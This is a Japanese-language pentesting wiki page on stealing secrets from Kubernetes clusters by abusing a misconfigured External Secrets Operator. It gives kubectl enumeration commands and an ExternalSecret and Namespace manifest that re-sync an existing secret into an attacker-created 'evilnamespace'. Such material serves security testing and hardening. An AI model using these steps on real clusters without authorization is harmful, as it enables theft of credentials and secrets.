Kubernetes External Secret Operator

このページの元の著者は Fares

このページでは、ESOの設定ミスやESOを使用してシークレットを同期するアプリケーションからシークレットを盗む方法についてのポインタをいくつか示しています。

免責事項

以下に示すテクニックは、特定の状況が整った場合にのみ機能する可能性があります。たとえば、所有している/侵害された名前空間でシークレットを同期するために必要な要件に依存します。自分で解決する必要があります。

前提条件

  1. 管理者権限を持つkubernetes / openshiftクラスター内での立ち入り口

  2. 少なくともクラスターレベルのExternalSecretへの読み取りアクセス

  3. ESOがシークレットを同期するために必要なラベル/注釈またはグループメンバーシップが必要かどうかを特定します。運が良ければ、定義されたシークレットを自由に盗むことができます。

既存のClusterSecretStoreに関する情報の収集

このリソースを読む権限を持つユーザーがいると仮定して、まず最初に既存の ClusterSecretStores をリストアップします。

kubectl get ClusterSecretStore

ExternalSecretの列挙

ClusterSecretStoreという名前の_mystore_が見つかったと仮定します。関連するexternalsecretを列挙してください。

kubectl get externalsecret -A | grep mystore

このリソースはネームスペーススコープされているため、すでに検索するネームスペースを知っている場合を除いて、すべてのネームスペースを横断して検索するには-Aオプションを追加してください。

外部シークレットが定義されたリストを取得する必要があります。外部シークレットオブジェクトが_mysecret_と呼ばれ、_mynamespace_ネームスペースで使用されていると仮定しましょう。それがどの種類のシークレットを保持しているかについてもう少し情報を収集してください。

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

ピースを組み立てる

ここから、1つまたは複数のシークレット名(Secret リソースで定義されたもの)の名前を取得できます。次のような出力が得られます:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
So far we got:

* クラスタシークレットストアの名前
* 外部シークレットの名前
* シークレットの名前

必要なすべての情報を取得したので、ExternalSecret を作成できます(そして最終的に新しいシークレットを同期させるために必要な前提条件を満たすために新しい名前空間をパッチ適用/作成することができます):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

数分後、同期条件が満たされた場合、名前空間内で漏洩したシークレットを表示できるはずです。

kubectl get secret leaked_secret -o yaml

参照

Last updated